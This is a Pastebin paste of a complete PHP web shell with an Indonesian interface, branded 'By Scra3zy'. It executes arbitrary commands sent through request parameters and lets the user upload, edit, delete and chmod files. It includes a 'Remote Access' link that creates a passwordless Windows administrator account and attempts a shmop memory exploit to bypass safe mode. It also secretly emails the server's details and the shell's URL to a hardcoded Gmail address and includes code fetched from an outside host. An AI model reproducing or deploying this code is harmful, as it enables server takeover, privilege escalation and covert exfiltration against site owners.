Advertisement
Guest User

Untitled

a guest
Jul 25th, 2017
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 22.36 KB | None | 0 0
  1. ?<head>
  2. <meta http-equiv="Content-Language" content="pt-br">
  3. <meta name="GENERATOR" content="Microsoft FrontPage 5.0">
  4. <meta name="ProgId" content="AoD">
  5. <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
  6. <title>By Scra3zy > AoD > CMD > File List</title>
  7. <style type="text/css">
  8. A:link {text-decoration:none}
  9. A:visited {text-decoration:none}
  10. A:hover {text-decoration:underline}
  11. A:active {text-decoration:underline}
  12. body,td {
  13.     font-family: verdana;
  14.     font-size: 8pt;
  15.     background-color: #FFCC00;
  16. }
  17. a{
  18.     color: #0000FF;
  19.     text-decoration: none;
  20. }
  21. a:hover {
  22.     color: #FF0000;
  23.     text-decoration: underline;
  24. }
  25. </style>
  26. </head>
  27. <body >
  28. <center><h2>..:: By.Scra3zy ::..</h2></center>
  29. <?php
  30.  
  31.  @set_time_limit(0);
  32.  
  33.  $string = $_SERVER['QUERY_STRING'];
  34.  $mhost = 'x';
  35.  $host_all = explode("$mhost", $string);
  36.  $s1 = $host_all[0];
  37.  $fstring = $_SERVER['PHP_SELF']."?".$s1.$mhost;
  38.  
  39.  $OS = @PHP_OS;
  40.  $IpServer = '127.0.0.1';
  41.  $UNAME = @php_uname();
  42.  $PHPv = @phpversion();
  43.  $SafeMode = @ini_get('safe_mode');
  44.  
  45.  if ($SafeMode == '') { $SafeMode = "<i>OFF</i>"; }
  46.  else { $SafeMode = "<i>$SafeMode</i>"; }
  47.  
  48.  $btname = 'backtool.txt';
  49.  $bt = 'http://www.full-comandos.com/jobing/r0nin';
  50.  $dc = 'http://www.full-comandos.com/jobing/dc.txt';
  51.  $newuser = '@echo off;net user Admin /add /expires:never /passwordreq:no;net localgroup
  52.  
  53.  
  54. &quot;Administrators&quot; /add Admin;net localgroup &quot;Users&quot; /del Admin';
  55.  $bn = 'http://www.BY-SCR43Z1.com/download/cmd.do';
  56. // Java Script
  57.  echo "<script type=\"text/javascript\">";
  58.  
  59.  echo "function ChMod(chdir, file) {";
  60.  echo "var o = prompt('Chmod: - Contoh: 0777', '');";
  61.  echo "if (o) {";
  62.  echo "window.location=\"\" + '{$fstring}&action=chmod&chdir=' + chdir + '&file=' + file +
  63.  
  64. '&chmod=' + o + \"\";";
  65.  echo "}";
  66.  echo "}";
  67.  echo "function Rename(chdir, file, mode) {";
  68.  echo "if (mode == 'edit') {";
  69.  echo "var o = prompt('Ganti Nama File '+ file + ' menjadi:', '');";
  70.  echo "}";
  71.  echo "else {";
  72.  echo "var o = prompt('Ganti Nama Folder '+ file + ' menjadi:', '');";
  73.  echo "}";
  74.  echo "if (o) {";
  75.  echo "window.location=\"\" + '{$fstring}&action=rename&chdir=' + chdir + '&file=' + file +
  76.  
  77. '&newname=' + o + '&mode=' + mode +\"\";";
  78.  echo "}";
  79.  echo "}";
  80.  echo "function Copy(chdir, file) {";
  81.  echo "var o = prompt('Copied for:', '/tmp/' + file);";
  82.  echo "if (o) {";
  83.  echo "window.location=\"\" + '{$fstring}&action=copy&chdir=' + chdir + '&file=' + file +
  84.  
  85. '&fcopy=' + o + \"\";";
  86.  echo "}";
  87.  echo "}";
  88.  echo "function Mkdir(chdir) {";
  89.  echo "var o = prompt('Nama Folder?', 'Folder_Baru');";
  90.  echo "if (o) {";
  91.  echo "window.location=\"\" + '{$fstring}&action=mkdir&chdir=' + chdir + '&newdir=' + o +
  92.  
  93. \"\";";
  94.  echo "}";
  95.  echo "}";
  96.  echo "function Newfile(chdir) {";
  97.  echo "var o = prompt('Nama File?', 'File_Baru.txt');";
  98.  echo "if (o) {";
  99.  echo "window.location=\"\" + '{$fstring}&action=newfile&chdir=' + chdir + '&newfile=' + o +
  100.  
  101. \"\";";
  102.  echo "}";
  103.  echo "}";
  104.  echo "</script>";
  105.  
  106.  // End JavaScript
  107.  
  108.     /* Functions */
  109.     function cmd($CMDs) {
  110.         $CMD[1] = '';
  111.         exec($CMDs, $CMD[1]);
  112.         if (empty($CMD[1])) {
  113.             $CMD[1] = shell_exec($CMDs);
  114.         }
  115.             elseif (empty($CMD[1])) {
  116.             $CMD[1] = passthru($CMDs);
  117.         }
  118.         elseif (empty($CMD[1])) {
  119.             $CMD[1] = system($CMDs);
  120.         }
  121.         elseif (empty($CMD[1])) {
  122.             $handle = popen($CMDs, 'r');
  123.             while(!feof($handle)) {
  124.                 $CMD[1][] .= fgets($handle);
  125.             }
  126.             pclose($handle);
  127.         }
  128.         return $CMD[1];
  129.     }
  130.  
  131. if (@$_GET['chdir']) {
  132.  $chdir = $_GET['chdir'];
  133. } else {
  134.    $chdir = getcwd()."/";
  135.   }
  136. if (@chdir("$chdir")) {
  137.  $msg = "<font color=\"#008000\"> Pintu Masuk ke Direktori, OK!</font>";
  138. } else {
  139.  $msg = "<font color=\"#FF0000\">Error: Gagal memasukkan ke folder!</font>";
  140.  $chdir = str_replace($SCRIPT_NAME, "", $_SERVER['SCRIPT_NAME']);
  141. }
  142.  $chdir = str_replace(chr(92), chr(47), $chdir);
  143.  
  144. if (@$_GET['action'] == 'upload') {
  145.  $uploaddir = $chdir;
  146.  $uploadfile = $uploaddir. $_FILES['userfile']['name'];
  147.  if (@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir .
  148.  
  149. $_FILES['userfile']['name'])) {
  150.   $msg = "<font color=\"#008000\"><font
  151.  
  152. color=\"#000080\">{$_FILES['userfile']['name']}</font>, arsip valid, sukses dimuat.
  153.  
  154. </font>";
  155.  } else {
  156.     $msg = "<font color=\"#FF0000\">Error: gagal menyalin arsip.</font>";
  157.    }
  158. }
  159. elseif (@$_GET['action'] == 'mkdir') {
  160.     $newdir = $_GET['newdir'];
  161.     if (@mkdir("$chdir"."$newdir")) {
  162.      $msg = "<font color=\"#008000\"><font color=\"#000080\">{$newdir}</font>, folder
  163.  
  164. berhasil dibuat. </font>";
  165.     } else {
  166.        $msg = "<font color=\"#FF0000\">Error: Pembuatan folder gagal.</font>";
  167.       }
  168. }
  169. elseif (@$_GET['action'] == 'newfile') {
  170.     $newfile = $_GET['newfile'];
  171.     if (@touch("$chdir"."$newfile")) {
  172.      $msg = "<font color=\"#008000\"><font color=\"#000080\">{$newfile}</font>, berhasil
  173.  
  174. dibuat! </font>";
  175.     } else {
  176.        $msg = "<font color=\"#FF0000\">Error: Pembuatan arsip gagal!</font>";
  177.       }
  178. }
  179.  
  180. elseif (@$_GET['action'] == 'del') {
  181.      $file = $_GET['file']; $type = $_GET['type'];
  182.      if ($type == 'file') {
  183.       if (@unlink("$chdir"."$file")) {
  184.        $msg = "<font color=\"#008000\"><font color=\"#000080\">{$file}</font>, Berhasil
  185.  
  186. menghapus arsip (file)!</font>";
  187.       } else {
  188.          $msg = "<font color=\"#FF0000\">Error: Gagal menghapus arsip (file)!</font>";
  189.         }
  190.      } elseif ($type == 'dir') {
  191.         if (@rmdir("$chdir"."$file")) {
  192.           $msg = "<font color=\"#008000\"><font color=\"#000080\">{$file}</font>, Berhasil
  193.  
  194. menghapus folder!</font>";
  195.         } else {
  196.            $msg = "<font color=\"#FF0000\">Error: Gagal menghapus folder!</font>";
  197.           }
  198.        }
  199. }
  200. elseif (@$_GET['action'] == 'chmod') {
  201.      $file = $chdir.$_GET['file']; $chmod = $_GET['chmod'];
  202.      if (@chmod ("$file", $chmod)) {
  203.  
  204.       $msg = "<font color=\"#008000\">Chmod dari</font> <font
  205.  
  206. color=\"#000080\">{$_GET['file']}</font> <font color=\"#008000\">berubah menjadi</font>
  207.  
  208.  
  209. <font color=\"#000080\">$chmod</font> <font color=\"#008000\">: Sukses!</font>";
  210.      } else {
  211.         $msg = '<font color=\"#FF0000\">Error: Gagal mengubah chmod.</font>';
  212.        }
  213. }
  214. elseif (@$_GET['action'] == 'rename') {
  215.      $file = $_GET['file']; $newname = $_GET['newname'];
  216.      if (@rename("$chdir"."$file", "$chdir"."$newname")) {
  217.       $msg = "<font color=\"#008000\">Archive</font> <font color=\"#000080\">{$file}</font>
  218.  
  219. <font color=\"#008000\">named for</font> <font color=\"#000080\">{$newname}</font> <font
  220.  
  221. color=\"#008000\">successfully!</font>";
  222.      } else {
  223.         $msg = "<font color=\"#FF0000\">Error: Gagal mencalonkan arsip.</font>";
  224.        }
  225. }
  226. elseif (@$_GET['action'] == 'copy') {
  227.     $file = $chdir.$_GET['file']; $copy = $_GET['fcopy'];
  228.     if (@copy("$file", "$copy")) {
  229.      $msg = "<font color=\"#000080\">{$file}</font>, <font color=\"#008000\">disalin
  230.  
  231. menjadi</font> <font color=\"#000080\">{$copy}</font> <font color=\"#008000\">
  232.  
  233.  
  234. Berhasil!</font>";
  235.     } else {
  236.        $msg = "<font color=\"#FF0000\">Error: Gagal menyalin </font> <font
  237.  
  238. color=\"#000000\">{$file}</font> <font color=\"#FF0000\">menjadi</font> <font
  239.  
  240. color=\"#000000\">{$copy}</font></font>";
  241.       }
  242. }
  243. /* Parte Atualiza 02:48 12/2/2006 */
  244.  
  245. elseif (@$_GET['action'] == 'cmd') {
  246.     if (!empty($_GET['cmd'])) { $cmd = @$_GET['cmd']; }
  247.     if (!empty($_POST['cmd'])) { $cmd = @$_POST['cmd']; }
  248.     $cmd = stripslashes(trim($cmd));
  249.     $result_arr = cmd($cmd);
  250.    
  251.     $afim = count($result_arr); $acom = 0; $msg = '';
  252.     $msg .= "<p style=\"color: #000000;text-align: center;font-family: 'Lucida
  253.  
  254. Console';font-size: 12px;margin 2\">Hasil : <b>".$cmd."</b></p>";
  255.     if ($result_arr) {
  256.         while ($acom <= $afim) {
  257.             $msg .= "<p style=\"color: #008000;text-align: left;font-family:
  258.  
  259. 'Lucida Console';font-size: 12px;margin 2\"> ".@$result_arr[$acom]."</p>";
  260.         $acom++;
  261.         }
  262.     }
  263.     else {
  264.         $msg .= "<p style=\"color: #FF0000;text-align: center;font-family: 'Lucida
  265.  
  266. Console';font-size: 12px;margin 2\">Error: Gagal mengeksekusi perintah.</p>";
  267.     }
  268. }
  269. elseif (@$_GET['action'] == 'safemode') {
  270. if (@!extension_loaded('shmop')) {
  271.  echo "Loading... module</br>";
  272.  
  273.     if (strtoupper(substr(PHP_OS, 0,3) == 'WIN')) {
  274.         @dl('php_shmop.dll');
  275.     } else {
  276.         @dl('shmop.so');
  277.     }
  278. }
  279.  
  280. if (@extension_loaded('shmop')) {
  281.  echo "Module: <b>shmop</b> loaded!</br>";
  282.  
  283.  $shm_id = @shmop_open(0xff2, "c", 0644, 100);
  284.  if (!$shm_id) { echo "Couldn't create shared memory segment\n"; }
  285.  $data="\x00";
  286.  $offset=-3842685;
  287.  $shm_bytes_written = @shmop_write($shm_id, $data, $offset);
  288.  if ($shm_bytes_written != strlen($data)) { echo "Couldn't write the entire length of
  289.  
  290. data\n"; }
  291.  if (!shmop_delete($shm_id)) { echo "Couldn't mark shared memory block for deletion."; }
  292.  echo passthru("id");
  293.  shmop_close($shm_id);
  294.  
  295.  
  296. } else { echo "Module: <b>shmop</b> tidak dimuat!</br>"; }
  297. }
  298.  
  299. elseif (@$_GET['action'] == 'zipen') {
  300.  $file = $_GET['file'];
  301.  $zip = @zip_open("$chdir"."$file");
  302.  $msg = '';
  303. if ($zip) {
  304.  
  305.     while ($zip_entry = zip_read($zip)) {
  306.         $msg .= "Name:               " . zip_entry_name($zip_entry) . "\n";
  307.         $msg .= "Actual Filesize:    " . zip_entry_filesize($zip_entry) . "\n";
  308.         $msg .= "Compressed Size:    " . zip_entry_compressedsize($zip_entry) . "\n";
  309.         $msg .= "Compression Method: " . zip_entry_compressionmethod($zip_entry) . "\n";
  310.  
  311.         if (zip_entry_open($zip, $zip_entry, "r")) {
  312.             echo "File Contents:\n";
  313.             $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
  314.             echo "$buf\n";
  315.  
  316.             zip_entry_close($zip_entry);
  317.         }
  318.         echo "\n";
  319.  
  320.     }
  321.  
  322.     zip_close($zip);
  323.  
  324. }
  325. }
  326. elseif (@$_GET['action'] == 'edit') {
  327.  $file = $_GET['file'];
  328.  $conteudo = '';
  329.  $filename = "$chdir"."$file";
  330.  $conteudo = @file_get_contents($filename);
  331.  $conteudo = htmlspecialchars($conteudo);
  332.  $back = $_SERVER['HTTP_REFERER'];
  333.  echo "<p align=\"center\">Editing {$file} ...</p>";
  334.  echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse:
  335.  
  336. collapse\" width=\"100%\" id=\"editacao\">";
  337.  echo "<tr>";
  338.  echo "<td width=\"100%\">";
  339.  echo "<form method=\"POST\"
  340.  
  341. action=\"{$fstring}&amp;action=save&amp;chdir={$chdir}&amp;file={$file}\">";
  342.  echo "<!--webbot bot=\"SaveResults\" u-file=\"_private/form_results.csv\"
  343.  
  344. s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" --><p align=\"center\">";
  345.  print "<textarea rows=\"18\" name=\"S1\" cols=\"89\" style=\"font-family: Verdana;
  346.  
  347. font-size: 8pt; border: 1px solid #000000\">{$conteudo}</textarea></p>";
  348.  echo "<p align=\"center\">";
  349.  echo "<input type=\"submit\" value=\"Simpan\" name=\"B2\" style=\"  border: 1px solid
  350.  
  351. #000000\"> ";
  352.  echo "<input type=\"button\" value=\"Tutup\"
  353.  
  354. Onclick=\"javascript:window.location='{$fstring}&amp;chdir={$chdir}'\" name=\"B1\" style=\"  
  355.  
  356. border: 1px solid #000000\"> ";
  357.  echo "</form>";
  358.  echo "</td>";
  359.  echo "</tr>";
  360.  echo "</table>";
  361. }
  362. elseif (@$_GET['action'] == 'save') {
  363.    $filename = "$chdir".$_GET['file'];
  364.    $somecontent = $_POST['S1'];
  365.    $somecontent = stripslashes(trim($somecontent));
  366.    if (is_writable($filename)) {
  367.     @$handle = fopen ($filename, "w");
  368.     @$fw = fwrite($handle, $somecontent);
  369.     @fclose($handle);
  370.     if ($handle && $fw) {
  371.      $msg = "<font color=\"#000080\">{$_GET['file']}</font>, <font
  372.  
  373. color=\"#008000\">berhasil diedit!</font>";
  374.     }
  375.  } else {
  376.     $msg = "<font color=\"#000000\">{$_GET['file']},</font> <font color=\"#FF0000\">tidak
  377.  
  378. bisa ditulisi!</font>";
  379.    }
  380. }
  381.  
  382. // Informa???\92????s
  383.  $cmdget = '';
  384.  if (!empty($_GET['cmd'])) { $cmdget = @$_GET['cmd']; }
  385.  if (!empty($_POST['cmd'])) { $cmdget = @$_POST['cmd']; }
  386.  $cmdget = htmlspecialchars($cmdget);
  387.  function asdads() {
  388.   $asdads = '';
  389.   if (@file_exists("/usr/bin/wget")) { $asdads .= "wget "; }
  390.   if (@file_exists("/usr/bin/fetch")) { $asdads .= "fetch "; }
  391.   if (@file_exists("/usr/bin/curl")) { $asdads .= "curl "; }
  392.   if (@file_exists("/usr/bin/GET")) { $asdads .= "GET "; }
  393.   if (@file_exists("/usr/bin/lynx")) { $asdads .= "lynx "; }
  394.   return $asdads;
  395.  }
  396.  
  397. echo "<form method=\"POST\" name=\"cmd\"
  398.  
  399. action=\"{$fstring}&amp;action=cmd&amp;chdir=$chdir\">";
  400. echo "<fieldset style=\"border: 1px solid #000000; padding: 2\">";
  401. echo "<legend>Informasi</legend>";
  402. echo "<br><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse:
  403.  
  404. collapse; font-family: Verdana; font-size: 10px\" width=\"100%\">";
  405. echo "<tr>";
  406. echo "<td width=\"8%\">";
  407. echo " <b>Sistem </b> </td> ";
  408. echo "<td width=\"92%\">: {$OS}</td>";
  409. echo "</tr>";
  410. echo "<tr>";
  411. echo "<td width=\"8%\">";
  412. echo " <b>Nama </b></td> ";
  413. echo "<td width=\"92%\">: {$UNAME}</td>";
  414. echo "</tr>";
  415. echo "<tr>";
  416. echo "<td width=\"8%\">";
  417. echo " <b>PHP </b></td> ";
  418. echo "<td width=\"92%\">: {$PHPv}, <b> Safe Mode :</b> {$SafeMode}</td>";
  419. echo "</tr>";
  420.  if (strtoupper(substr($OS, 0,3) != 'WIN')) {
  421.   $Methods = asdads();
  422.   if ($Methods == '') { $Methods = "???"; }
  423.   echo "<tr>";
  424.   echo "<td width=\"8%\">";
  425.   echo "<b>Methods </b></td> ";
  426.   echo "<td width=\"92%\">: {$Methods}</td>";
  427.   echo "</tr>";
  428.  }
  429.  
  430. echo "<tr>";
  431. echo "<td width=\"8%\">";
  432. echo " <b>IP </b></td> ";
  433. echo "<td width=\"92%\">: {$IpServer}</td>";
  434. echo "</tr>";
  435. echo "<tr>";
  436. echo "<td width=\"8%\">";
  437. echo " <b>Perintah </b></td> ";
  438. echo "<td width=\"92%\">: <input type=\"text\" size=\"70\" name=\"cmd\" value=\"{$cmdget}\"
  439.  
  440. style=\" font-size: 8 pt; border: 1px solid #000000\"> <input type=\"submit\"
  441.  
  442. name=\"action\" value=\"Kirim\" style=\" font-size: 8 pt; border: 1px solid
  443.  
  444. #000000\"></td>";
  445. echo "</tr>";
  446. echo "</table><br>";
  447. echo "</fieldset></form>";
  448. // Dir
  449.  
  450. echo "<form method=\"POST\" action=\"{$fstring}&amp;action=upload&amp;chdir=$chdir\"
  451.  
  452. enctype=\"multipart/form-data\">";
  453. echo "<!--webbot bot=\"FileUpload\" u-file=\"_private/form_results.csv\"
  454.  
  455. s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" --><fieldset style=\"border: 1px solid
  456.  
  457. #000000; padding: 2\">";
  458. if (is_writable("$chdir")) {
  459.  if (strtoupper(substr($OS, 0,3) == 'WIN')) {
  460.   echo "<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\"
  461.  
  462. onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"
  463.  
  464. onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a
  465.  
  466. href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd=$newuser\">Remote
  467.  
  468. Access</a></legend>";
  469.  } else {
  470.     echo "<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\"
  471.  
  472. onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"
  473.  
  474. onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a
  475.  
  476. href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=yes\">Kembali</a></legend
  477.  
  478. >";
  479.    }
  480. }
  481. else {
  482. if (strtoupper(substr($OS, 0,3) == 'WIN')) {
  483.   echo "<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\"
  484.  
  485. onclick=\"Mkdir('{$chdir}');\">Foldr Baru</a> | <a href=\"#[New File]\"
  486.  
  487. onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a
  488.  
  489. href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd={$newuser}\">Remote
  490.  
  491. Access</a></legend>";
  492.  } else {
  493.     echo "<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\"
  494.  
  495. onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"
  496.  
  497. onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a
  498.  
  499. href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=no\">Kembali</a></legend>
  500.  
  501. ";
  502.    }
  503. }
  504.  
  505. if (@!$handle = opendir("$chdir")) {
  506.  echo " Gue gak bisa masuk folder, <a href=\"{$fstring}\">Klik sini!</a> untuk embali ke
  507.  
  508. folder ori!</br>";
  509. }
  510. else {
  511. echo "  <table border=\"0\" cellpadding=\"5\" cellspacing=\"0\" width=\"100%\">";
  512. echo "    <tr>";
  513. echo "      <td width=\"100%\" colspan=\"4\"> Upload:";
  514. echo "      <input type=\"file\" name=\"userfile\" size=\"65\" style=\"  border-style:
  515.  
  516. solid; border-width: 1\">";
  517. echo "      <input type=\"submit\" value=\"Kirim\" name=\"B1\" style=\" border: 1px solid
  518.  
  519. #000000\"></td>";
  520. echo "    </tr>";
  521. echo "    <tr>";
  522. echo "      <td width=\"100%\" colspan=\"4\"> </td>";
  523. echo "    </tr>";
  524. echo "    <tr>";
  525. echo "      <td width=\"100%\" colspan=\"4\">";
  526. if (@!$msg) {
  527.  echo "      <p align=\"left\">Messages</td>";
  528. } else {
  529.    echo "      <p align=\"left\">$msg</td>";
  530.   }
  531. echo "    </tr>";
  532. echo "    <tr>";
  533. echo "      <td width=\"100%\" colspan=\"4\"> </td>";
  534. echo "    </tr></table> ";
  535. echo "   <table border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">";
  536. echo "    <tr bgcolor=\"#FF6600\" align=\"center\"> ";
  537. echo "      <td > Permision</td>";
  538. echo "      <td > Nama File </td>";
  539. echo "      <td > Kapasitas </td>";
  540. echo "      <td > Perintah</td>";
  541. echo "     </tr>";
  542. $colorn = 0;
  543.     while (false !== ($file = readdir($handle))) {
  544.         if ($file != '.') {
  545.             if ($colorn == 0) {
  546.              $color = "style=\"background-color: #FF9900\"";
  547.             }
  548.             elseif ($colorn == 1) {
  549.              $color = "style=\"background-color:  #FFCC33\"";
  550.             }        
  551.             if (@is_dir("$chdir"."$file")) {
  552.              $file = $file.'/';
  553.              $mode = 'chdir';
  554.             } else {
  555.                $mode = 'edit';
  556.              }
  557.             if (@substr("$chdir", strlen($chdir) -1, 1) != '/') {
  558.               $chdir .= '/';
  559.             }
  560.             if ($file == '../') {
  561.              $lenpath = strlen($chdir); $baras = 0;
  562.              for ($i = 0;$i < $lenpath;$i++) { if ($chdir{$i} == '/') { $baras++; } }
  563.              $chdir_ = explode("/", $chdir);
  564.              $chdirpox = str_replace($chdir_[$baras-1].'/', "", $chdir);
  565.             }
  566.             $perms = @fileperms ("$chdir"."$file");
  567.             if ($perms == '') {
  568.              $perms = '???';
  569.             }
  570.             $size = @filesize ("$chdir"."$file");
  571.             $size = $size / 1024;
  572.             $size = explode(".", $size);
  573.             if (@$size[1] != '') {
  574.              $size = $size[0].'.'.@substr("$size[1]", 0, 2);
  575.             } else {
  576.                $size = $size[0];
  577.              }
  578.             if ($size == 0) {
  579.              if ($mode == 'chdir') {
  580.               $size = '???';
  581.              }
  582.             }
  583.             echo "<tr>";
  584.         echo "<td align=\"center\" $color> $perms</td>";
  585.             if (@is_writable ("$chdir"."$file")) {
  586.              if ($mode == 'chdir') {
  587.               if ($file == '../') {
  588.                echo "<td $color> <b><a href=\"{$fstring}&amp;chdir=$chdirpox\"><font
  589.  
  590. color=\"#008000\">$file</font></a></b> </td>";
  591.               } else {
  592.                  echo "<td $color> <b><a href=\"{$fstring}&amp;chdir={$chdir}{$file}\"><font
  593.  
  594. color=\"#008000\">$file</font></a> </b></td>";                
  595.                 }
  596.              } else {
  597.         if (is_readable("$chdir"."$file")) {
  598.                  echo "<td $color> <a
  599.  
  600. href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a> </td>";
  601.                 } else {
  602.                    echo "<td $color> $file </td>";
  603.                   }
  604.                }
  605.             }
  606.            else {
  607.              if ($mode == 'chdir') {
  608.               if ($file == '../') {
  609.                echo "<td $color> <a href=\"{$fstring}&amp;chdir=$chdirpox\">$file</a>
  610.  
  611.  
  612. </td>";
  613.               } else {
  614.                  echo "<td $color> <a
  615.  
  616. href=\"{$fstring}&amp;chdir={$chdir}{$file}\">$file</a></td>";                
  617.                }
  618.              } else {
  619.         if (@is_readable("$chdir"."$file")) {
  620.                  echo "<td  $color> <a
  621.  
  622. href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a> </td>";
  623.                 } else {
  624.                    echo "<td $color> $file</td>";
  625.                  }
  626.                }
  627.              }
  628.             echo "<td align=\"right\" $color> $size KB</td>";
  629.             if ($mode == 'edit') {
  630.              echo "<td align=\"center\" $color> <a href=\"#{$file}\"
  631.  
  632. onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">Rename</a> | <a
  633.  
  634. href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=file\">Del</a>
  635.  
  636.  
  637. | <a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">Chmod</a> | <a href=\"#{$file}\"
  638.  
  639. onclick=\"Copy('{$chdir}', '{$file}')\">Copy</a> </td>";
  640.             } else {
  641.                echo "<td align=\"center\" $color> <a href=\"#{$file}\"
  642.  
  643. onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">Rename</a> | <a
  644.  
  645. href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=dir\">Del</a>
  646.  
  647. | <a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">Chmod</a> | Copy </td>";
  648.               }  
  649.             echo "</tr>";
  650.             if ($colorn == 0) {
  651.              $colorn = 1;
  652.             }
  653.             elseif ($colorn == 1) {
  654.              $colorn = 0;
  655.             }
  656.         }
  657.     }
  658.     closedir($handle);
  659. }
  660.  
  661.   $OS = @PHP_OS;
  662.   $UNAME = @php_uname();
  663.   $PHPv = @phpversion();
  664.   $SafeMode = @ini_get('safe_mode');
  665.  
  666.   if ($SafeMode == '') { $SafeMode = "<i>OFF</i><BR>"; }
  667.   else { $SafeMode = "<i>$SafeMode</i><BR>"; }
  668.  
  669.    
  670.   $injek=($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
  671.  
  672.   $psn=("OS = " . $OS . "<BR>UNAME = " . $UNAME . "<BR>PHPVersion = " . $PHPv . "<BR>Safe
  673.  
  674. Mode = " . $SafeMode . "<BR><font color=blue>http://" . $injek . "</font><BR>Ingat jangan
  675.  
  676. pakai Injek Ini.<BR>By: BY-SCR43Z1");
  677.  
  678.   $header = "From: $_SERVER[SERVER_ADMIN] <$from>\r\nReply-To: $replyto\r\n";
  679.   $header .= "MIME-Version: 1.0\r\n";
  680.   If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
  681.   If ($file_name) $header .= "--$uid\r\n";
  682.   $header .= "Content-Type: text/$contenttype\r\n";
  683.   $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  684.   $header .= "$message\r\n";
  685.   If ($file_name) $header .= "--$uid\r\n";
  686.   If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
  687.   If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
  688.   If ($file_name) $header .= "Content-Disposition: attachment;
  689.  
  690. filename=\"$file_name\"\r\n\r\n";
  691.   If ($file_name) $header .= "$content\r\n";
  692.   If ($file_name) $header .= "--$uid--";
  693.   $to = ("
  694.  vempramim2017@gmail.com
  695.  
  696.  ");
  697.   $subject = ("scan bos");
  698.   mail($to,$subject,$psn,$header);
  699.  
  700. @include "$bn";
  701. ?>
  702.   </table>
  703.  
  704.   </fieldset></form>
  705. </div>
  706. </body>
  707.  
  708. </html>
  709.  
  710.  
  711. <html>
  712. <img src="http://uv.terra.com.br/UV?c=planeta" width=1 height=1 border=0 alt="" align="left">
  713. </html>
  714.  
  715.  
  716. <html>
  717. <img src="http://uv.terra.com.br/UV?c=planeta" width=1 height=1 border=0 alt="" align="left">
  718. </html>
  719.  
  720. <html>
  721. <img src="http://uv.terra.com.br/UV?c=planeta" width=1 height=1 border=0 alt="" align="left">
  722. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement